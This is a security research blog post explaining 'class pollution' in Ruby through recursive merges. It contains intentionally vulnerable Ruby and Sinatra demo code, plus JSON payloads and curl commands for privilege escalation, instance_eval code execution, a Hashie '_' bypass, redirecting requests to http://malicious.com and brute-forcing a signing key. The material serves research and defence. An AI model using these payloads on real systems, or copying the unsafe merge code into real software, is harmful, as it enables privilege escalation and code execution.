02 Oct 2024 - Posted by Raúl Miján
In this post, we are going to explore a rarely discussed class of vulnerabilities in Ruby, known as class pollution. This concept is inspired by the idea of prototype pollution in JavaScript, where recursive merges are exploited to poison the prototype of objects, leading to unexpected behaviors. This idea was initially discussed in a blog post about prototype pollution in Python, in which the researcher used recursive merging to poison class variables and eventually global variables via the __globals__
attribute.
In Ruby, we can categorize class pollution into three main cases:
Merge on Hashes: In this scenario, class pollution isn’t possible because the merge operation is confined to the hash itself.
Merge on Attributes (Non-Recursive): Here, we can poison the instance variables of an object, potentially replacing methods by injecting return values. This pollution is limited to the object itself and does not affect the class.
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
Let’s start by examining a code example where we exploit a recursive merge to modify object methods and alter the application’s behavior. This type of pollution is limited to the object itself.
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
In the provided code, we perform a recursive merge on the attributes of the User
object. This allows us to inject or override values, potentially altering the object’s behavior without directly modifying the class definition.
User
object is initialized with specific attributes: name
, age
, and details
. These attributes are stored as instance variables within the object.merge_with
method is called with a JSON input that represents the additional data to be merged into the User
object.User
object behaves.authorize
method, the to_s
method determines whether the user is granted admin privileges. By injecting a new to_s
method with a return value of "Admin"
, we can escalate the user’s privileges.health_check
method, we can inject arbitrary code execution by overriding methods that are called via instance_eval
.ruby class_pollution.rb {"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}
to_s
method that returns "Admin"
, granting the user unauthorized admin privileges.ruby class_pollution.rb {"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}
protected_methods
list, which is then executed by instance_eval
, allowing arbitrary code execution.This example highlights how seemingly innocuous operations like recursive merges can be leveraged to introduce severe vulnerabilities if not properly managed. By understanding these risks, developers can better protect their applications from such exploits.
Next, we’ll explore two of the most popular libraries for performing merges in Ruby and see how they might be vulnerable to class pollution. It’s important to note that there are other libraries potentially affected by this class of issues and the overall impact of these vulnerabilities varies.
deep_merge
ActiveSupport, a built-in component of Ruby on Rails, provides a deep_merge
method for hashes. By itself, this method isn’t exploitable given it is limited to hashes. However, if used in conjunction with something like the following, it could become vulnerable:
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
In this example, if the deep_merge
is used as shown, we can exploit it similarly to the first example, leading to potentially dangerous changes in the application’s behavior.
The Hashie library is widely used for creating flexible data structures in Ruby, offering features such as deep_merge
. However, unlike the previous example with ActiveSupport, Hashie’s deep_merge
method operates directly on object attributes rather than plain hashes. This makes it more susceptible to attribute poisoning.
Hashie has a built-in mechanism that prevents the direct replacement of methods with attributes during a merge. Normally, if you try to override a method with an attribute via deep_merge
, Hashie will block the attempt and issue a warning. However, there are specific exceptions to this rule: attributes that end with _
, !
, or ?
can still be merged into the object, even if they conflict with existing methods.
Method Protection: Hashie protects method names from being directly overridden by attributes ending in _
, !
, or ?
. This means that, for example, trying to replace a to_s
method with a to_s_
attribute will not raise an error, but the method will not be replaced either. The value of to_s_
will not override the method behavior, ensuring that existing method functionality remains intact. This protection mechanism is crucial to maintaining the integrity of methods in Hashie objects.
Special Handling of _
: The key vulnerability lies in the handling of _
as an attribute on its own. In Hashie, when you access _
, it returns a new Mash
object (essentially a temporary object) of the class you are interacting with. This behavior allows attackers to access and work with this new Mash
object as if it were a real attribute. While methods cannot be replaced, this feature of accessing the _
attribute can still be exploited to inject or modify values.
For example, by injecting "_": "Admin"
into the Mash
, an attacker could trick the application into accessing the temporary Mash
object created by _
, and this object can contain maliciously injected attributes that bypass protections.
Consider the following code:
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
In the provided code, we are exploiting Hashie’s handling of _
to manipulate the behavior of the authorization process. When _.to_s
is called, instead of returning the method-defined value, it accesses a newly created Mash
object, where we can inject the value "Admin"
. This allows an attacker to bypass method-based authorization checks by injecting data into the temporary Mash
object.
For example, the JSON payload {"_": "Admin"}
injects the string “Admin” into the temporary Mash
object created by _
, allowing the user to be granted admin access through the authorize
method even though the to_s
method itself hasn’t been directly overridden.
This vulnerability highlights how certain features of the Hashie
library can be leveraged to bypass application logic, even with protections in place to prevent method overrides.
When the merge operation is recursive and targets attributes, it’s possible to escape the object context and poison attributes or methods of the class, its parent class, or even other unrelated classes. This kind of pollution affects the entire application context and can lead to severe vulnerabilities.
require 'json'
require 'sinatra/base'
require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
In the following example, we demonstrate two distinct types of class pollution:
(A) Poisoning the Parent Class: By recursively merging attributes, we can modify variables in the parent class. This modification impacts all instances of that class and can lead to unintended behavior across the application.
(B) Poisoning Other Classes: By brute-forcing subclass selection, we can eventually target and poison specific classes. This approach involves repeatedly attempting to poison random subclasses until the desired one is infected. While effective, this method can cause issues due to the randomness and potential for over-infection.
(A) Poisoning the Parent Class
In this exploit, we use a recursive merge operation to modify the @@url
variable in the Person
class, which is the parent class of User
. By injecting a malicious URL into this variable, we can manipulate subsequent HTTP requests made by the application.
For example, using the following curl command:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
We successfully poison the @@url
variable in the Person
class. When the /launch-curl-command
endpoint is accessed, it now sends a request to http://malicious.com
instead of the original URL.
This demonstrates how recursive merges can escape the object level and modify class-level variables, affecting the entire application.
(B) Poisoning Other Classes
This exploit leverages brute-force to infect specific subclasses. By repeatedly attempting to inject malicious data into random subclasses, we can eventually target and poison the KeySigner
class, which is responsible for signing data.
For example, using the following looped curl command:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
We attempt to poison the @@signing_key
variable in KeySigner
. After several attempts, the KeySigner
class is infected, and the signing key is replaced with our injected key.
This exploit highlights the dangers of recursive merges combined with brute-force subclass selection. While effective, this method can cause issues due to its aggressive nature, potentially leading to the over-infection of classes.
In the latter examples, we set up an HTTP server to demonstrate how the infected classes remain poisoned across multiple HTTP requests. The persistent nature of these infections shows that once a class is poisoned, the entire application context is compromised, and all future operations involving that class will behave unpredictably.
The server setup also allowed us to easily check the state of these infected variables via specific endpoints. For example, the /check-infected-vars
endpoint outputs the current values of the @@url
and @@signing_key
variables, confirming whether the infection was successful.
This approach clearly shows how class pollution in Ruby can have lasting and far-reaching consequences, making it a critical area to secure.
The research conducted here highlights the risks associated with class pollution in Ruby, especially when recursive merges are involved. These vulnerabilities are particularly dangerous because they allow attackers to escape the confines of an object and manipulate the broader application context. By understanding these mechanisms and carefully considering how data merges are handled, it is possible to mitigate the risk of class pollution in Ruby applications.
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